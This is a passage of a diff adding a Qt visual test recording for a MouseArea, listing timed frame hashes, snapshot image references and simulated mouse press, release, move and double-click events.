+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3648
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3664
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3680
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3696
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 133; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3712
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3728
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3744
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3760
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3776
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3792
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3808
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3824
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3840
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3856
+ image: "mousearea-visual.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3888
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3904
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3920
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3936
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3952
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3968
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 3984
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4000
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4016
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4032
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4048
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4064
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4080
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4096
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4112
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4128
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4144
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4160
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4176
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4192
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4208
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4224
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4240
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4256
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4272
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4288
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4304
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4320
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 2
+ button: 2
+ buttons: 2
+ x: 133; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4336
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4352
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4368
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4384
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4400
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4416
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Frame {
+ msec: 4432
+ hash: "73f1639b9e2164c7b974042934c0d151"
+ }
+ Mouse {
+ type: 3
+ button: 2
+ buttons: 0
+ x: 133; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4448
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4464
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4480
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4496
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4512
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4528
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4544
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4560
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4576
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4592
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4608
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4624
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4640
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4656
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4672
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4688
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4704
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4720
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4736
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 133; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 136; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4752
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 142; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 148; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 155; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 161; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4784
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 166; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4800
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 168; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 170; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4816
+ image: "mousearea-visual.5.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 171; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4832
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4848
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4864
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 4880
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 172; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 175; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4896
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 178; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4912
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 182; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 187; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 191; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 195; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4944
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 200; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 206; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4960
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 211; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 215; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4976
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 218; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 221; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4992
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 224; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5008
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 225; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 226; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5024
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 227; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5040
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5056
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5072
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 228; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 229; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5088
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 231; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 232; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5104
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 233; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5120
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5136
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5152
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5168
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 233; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 234; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5184
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 237; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5200
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 239; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 242; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5216
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 244; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 245; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5232
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5248
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5264
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5280
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5296
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5312
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5328
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5344
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5360
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5376
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5392
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5408
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5424
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5440
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5456
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5472
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5488
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5504
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5520
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5536
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5552
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5568
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5584
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5600
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5616
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5632
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5648
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5664
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5680
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5696
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5712
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5728
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5744
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5760
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5776
+ image: "mousearea-visual.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5808
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5824
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5840
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5872
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5888
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5904
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5920
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5936
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5968
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 5984
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6000
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6016
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6032
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6048
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6064
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6080
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6096
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6112
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6128
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6144
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6160
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6176
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6192
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6208
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6224
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6240
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6256
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6272
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6288
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6304
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6320
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6336
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6352
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6368
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6384
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6400
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6416
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6432
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6448
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6464
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6480
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6496
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6512
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6528
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6544
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6560
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6576
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6592
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6608
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6624
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6640
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6656
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6672
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6688
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6704
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6720
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6736
+ image: "mousearea-visual.7.png"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6752
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6768
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6784
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6800
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6816
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6832
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6848
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6864
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6880
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6896
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6912
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6928
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6944
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6960
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6976
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 6992
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7008
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7024
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7040
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7056
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7072
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7088
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7104
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7120
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7136
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7152
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7168
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7184
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7200
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7216
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7232
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7248
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7264
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7280
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7296
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7312
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7328
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7344
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7360
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7376
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7392
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7408
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7424
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7440
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7456
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
